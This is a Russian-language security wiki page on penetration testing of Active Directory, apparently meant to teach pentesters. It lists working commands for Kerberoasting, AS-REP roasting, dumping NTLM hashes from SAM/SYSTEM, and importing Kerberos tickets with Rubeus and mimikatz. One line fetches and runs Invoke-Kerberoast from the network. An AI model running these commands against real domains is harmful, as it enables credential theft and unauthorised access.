Active directory

Материал из InformationSecurity WIKI
Версия от 10:51, 19 января 2022; Drakylar (обсуждение | вклад) (Оффлайн перебор)

Перейти к: навигация, поиск


Страница посвящена тестированию на проникновение сетей Active Directory на Windows OS.

Общая информация о сети

Домен

Доменный контроллер

Доменные компьютеры

Дополнительная информация о сети

Список пользователей

Без перебора

С перебором

Время сети

NTP

HTTP

Сетевая информация

IP

Сервисы

Получение начального доступа

Анонимный доступ

Учетные данные

Сетевой перебор учетных данных (пароля)

Перебор учетных данных по протоколам лучше смотреть тут http://itsecwiki.org/index.php/Brute_force


Оффлайн перебор

NTLM

Если у вас есть NTLM-хеш пароля пользователя, то его можно отправить на перебор.

http://itsecwiki.org/index.php/Offline_bruteforce - тут подробнее о переборе NTLM

Также хеш не обязательно перебирать, его можно будет использовать в следующих этапах при атаке Pass The Hash (когда вместо пароля пользователя отправляется его NTLM-хеш).

TGS

Если у вас есть TGS-ticket для доступа к сервису, то вы можете пробрутить пароль учетки от которой будет идти запрос.

На странице http://itsecwiki.org/index.php/Offline_bruteforce вы можете найти команды для перебора паролей.

Kerberoasting

Это метод получения TGS. После его получения перейдите в пункт выше - перебор пароля в TGS. Как правилоm его делают когда уже авторизовались в домене, но может иногда сработать при анонимном доступе. Для этого нам потребуется найти доступные SPN

Поиск SPN
Windows в домене

cmd.exe

setspn -T TestDomain -Q */*

Пример SPN учетки MSSQLSERVER

MSSQLSERVER/SQL-Server.testdomain.com:1433


Powershell

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
	$userEntry = $result.GetDirectoryEntry()
	Write-host "User : " $userEntry.name "(" $userEntry.distinguishedName ")"
	Write-host "SPNs"        
	foreach($SPN in $userEntry.servicePrincipalName)
	{
		$SPN       
	}
	Write-host ""
}

Invoke-Kerberoast

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1

iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -Encoding ASCII <output_TGSs_file>


Удаленно

Windapsearch


https://github.com/ropnop/windapsearch https://github.com/ropnop/go-windapsearch

Параметр "user-spns".

Impacket GetUserSPNs

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile <output_TGSs_file>


Получение TGS
Сложные варианты

TODO

Без SPNS https://swarm.ptsecurity.com/kerberoasting-without-spns/


ASP-REP roasting

Если у Kerberos отключена предварительная аутентификация, то сервер вернет ASP-REP, зашифрованная часть которого подписана клиентским ключем на кого он выписан.

Получить хеш

Rubeus

Rubeus.exe aspreproast

GetNPUsers.py

GetNPUsers.py CONTOSO.COM/Administrator:'P@ssw0rd' -request


Для информации о переборе хеша перейдите на страницу http://itsecwiki.org/index.php/Offline_bruteforce#ASP-REP


SAM & SYSTEM

Если вы каким то образом получили SAM, SYSTEM-файлы, то вы можете извлечь из них NTLM-пароли пользователей.

Но для того, чтобы получить NTLM-хеш, вам потребуется и SAM и SYSTEM.

Получение хешей

samdump2

samdump2 -d ./SAM ./SYSTEM

После чего следуйте инструкциям в пункте про NTLM.

TGT-билет

Как Cookie у браузера, он требуется для получения TGS который в свою очередь используется для подключения к сервисам. Если вы нашли файл с TGT-ключем, то у него есть два формата: kirbi & ccache, поэтому надо сконвертировать.

Конвертация

https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketConverter.py

./ticket_converter.py admin.ccache admin.kirbi
./ticket_converter.py admin.kirbi admin.ccache

Импорт тикета

!Не забудьте установить время то же, пункт выше!

.ccache

Rubeus

.\Rubeus.exe ppt /ticket:new_ticket.ccache

Mimikatz

mimikatz # kerberos::ptt new_ticket.ccache

Bash

export KRB5CCNAME=./test.ccache